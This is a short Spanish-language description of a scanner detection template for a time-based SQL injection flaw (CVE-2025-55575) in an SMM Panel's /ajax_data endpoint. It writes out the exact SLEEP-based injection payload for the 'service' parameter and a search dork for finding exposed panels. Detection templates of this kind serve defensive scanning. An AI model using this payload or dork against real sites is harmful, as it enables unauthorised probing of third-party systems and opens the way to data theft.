smm-panel-sqli(CVE-2025-55575)

Detección de Inyección SQL basada en tiempo para SMM Panel

Resumen

Esta plantilla detecta una vulnerabilidad de Inyección SQL basada en tiempo en el parámetro service_detail del SMM Panel a través de solicitudes HTTP POST a /ajax_data. La explotación puede permitir a atacantes remotos acceder a datos sensibles o escalar privilegios.

• Autor: Aether
• Severidad: Crítica
• Etiquetas: sqli, mysql, timing, dork:'intitle:"#1 SMM Panel ****"' "smm panel"
• Referencia: https://owasp.org/www-community/attacks/SQL_Injection

Lógica de Detección

La herramienta envía una solicitud POST manipulada:

POST /ajax_data
Content-Type: application/x-www-form-urlencoded

action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z

Si el tiempo de respuesta es mayor a 5 segundos, indica un endpoint vulnerable.

Ejemplo de Detección

- Método: POST
- Ruta: {{BaseURL}}/ajax_data
- Encabezados: Content-Type: application/x-www-form-urlencoded
- Cuerpo: action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
- Comparador: duración > 5 segundos

Demostración en Video